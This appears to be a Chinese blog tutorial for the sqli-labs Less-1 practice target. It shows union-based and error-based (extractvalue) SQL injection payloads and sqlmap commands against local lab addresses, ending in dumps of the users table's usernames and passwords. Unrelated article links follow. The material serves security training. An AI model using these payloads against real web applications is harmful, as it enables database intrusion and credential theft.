Less-1(GET字符型)
union联合注入(方法一)
进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1
数据库执行语句:select * from news where id=1页面返回描述:返回内容正常
正常浏览页面,找到有参数的地方,如id

判断注入点
1.使用单引号来判断是否有注入点?id=1'
出现报错说明有注入点

判断注入类型
判断是数字型还是字符类型
数字型注入判断:
?id=1 and 1=1如果是数字型页面正常
?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立
以下页面都是正常的,可以判断这是一个字符串注入


字符串类型判断:
使用单引号和--+闭合进行判断
?id=1' and 1=1--+如果是字符型页面正常
?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立
以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入


判断字段
通过SQL语句中order by N 来判断有几个字段
order by N 页面报错 字段为N-1
字符型判断字段:
?id=1' order by 1--+ 页面正常
?id=1' order by 2--+ 页面正常
?id=1' order by 3--+ 页面正常
?id=1' order by 4--+ 页面报错
由此得出有3个字段


显位
id=1' and 1=2 union select 1,2,3--+

查库名
id' and 1=2 union select 1,database(),3--+
得到库名 security

查表
?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users
查列名
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查内容
#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)
前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样
报错注入模板:
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+
查库
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
报错信息成功查询到了库名

查表
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users
查列名
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查内容
# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+


sqlmap工具
启动工具sqlmap
python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点
- 这样步可以直接跳过,从查库开始
复制路径http://192.168.121.129:8002/Less-1/?id=1
回到sqlmap工具的终端
-u: 添加一个url
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1
通过工具扫描出有4中方法可以注入

查库
默认工具使用方法注入,不指定方法
--dbs:查询数据库
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs
在运行过程中有提示回车默认选项就完事了


查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容
challenges
information_schema:系统库无需查
mysql:系统库无需查
performance_schema系统库无需查
security
查表
-dbs改为-D+库名secrity
--tables 查表
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables


查出4个表,其中有一个users的表名,无需判断直接查表
emails
referers
uagents
users
查列名
--columns 查列名
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns


有四个列名查列名id,password,username的内容
查账号密码
使用--dump输出内容
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章
- 字符型图片验证码识别完整过程及Python实现
字符型图片验证码识别完整过程及Python实现 1 摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...
- [转]字符型IP地址转换成数字IP的SQL函数
使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助. /**//*--调用示例 sele ...
- c++之字符型中的特殊字符回车符
1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...
- FineReport根据点击次数奇偶性排序之字符型
上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...
- (转)C语言16进制输出字符型变量问题
最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char ...
- 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)
六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...
- 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)
六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...
- 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)
当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...
- 让人又爱又恨的char(字符型)
今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...
- 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。
//在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...
随机推荐
- AVX图像算法优化系列一: 初步接触AVX。
弄了SSE指令集,必然会在不同的场合不同的人群中了解到还有更为高级的AVX指令集的存在,早些年也确实有偶尔写点AVX的函数,但是一直没有深入的去了解,今年十一期间也没到那里去玩,一个人在家里抽空就折腾 ...
- 安装 LAMP 环境(yum 版本) shell脚本
#!/bin/bash # 安装 LAMP 环境(yum 版本) # 本脚本适用于 RHEL7(RHEL6 中数据库为 mysql) yum makecache &>/dev/null ...
- 生产系统CPU飙高问题排查
现状 生产系统CPU占用过高,并且进行了报警 排查方法 执行top命令,查看是那个进程导致的,可以确定是pid为22168的java应用导致的 执行top -Hp命令,查看这个进程的那个线程导致cpu ...
- bean文档类型定义
ELEMENT:表示当前 (bean*):表示0到多个bean元素 (property*):表示0到多个property元素 ATTLIST:表示属性 #REQUIRED:表示不可缺少 #IMPLIE ...
- Vue学习之--------脚手架的分析、Ref属性、Props配置(2022/7/28)
欢迎大家加入我的社区:http://t.csdn.cn/Q52km 社区中不定时发红包 文章目录 1.脚手架的分析 2.ref属性 2.1 基础知识 2.2 代码实现 2.3 测试效果 3.Props ...
- 齐博x1关于小程序个性源代码的说明
系统默认推荐商家小程序使用通用型的源码,即框架套壳iframe形式的.这个灵活性更高.但如果有特殊需求的话,也可以设置个性源码,比如配合uni-app使用,针对不同的小程序就使用不同的uni-app风 ...
- Go | 基本数据类型详解
前言 基本数据类型,变量存的就是值,也叫值类型.每一种数据都定义了明确的数据类型,在内存中分配了不同大小的内存空间. Printf 和 Println 的区别 printf 输出后不换行, print ...
- Go | 基本数据类型的相互转换
基本数据类型的相互转换 Go在不同类型的变量之间赋值时需要显示转换,不能自动转换 基本语法 表达式 T(v): 将值v转换成类型T T就是数据类型: int32, int64, float32... ...
- Hugging Face发布diffuser模型AI绘画库初尝鲜!
作者:韩信子@ShowMeAI 深度学习实战系列:https://www.showmeai.tech/tutorials/42 TensorFlow 实战系列:https://www.showmeai ...
- linux-web基础
web基础 [TOC] 网上冲浪 网上冲浪:在Internet互联网上获取各种信息,进行工作.娱乐,在英文中上网是" surfing the internet",因"su ...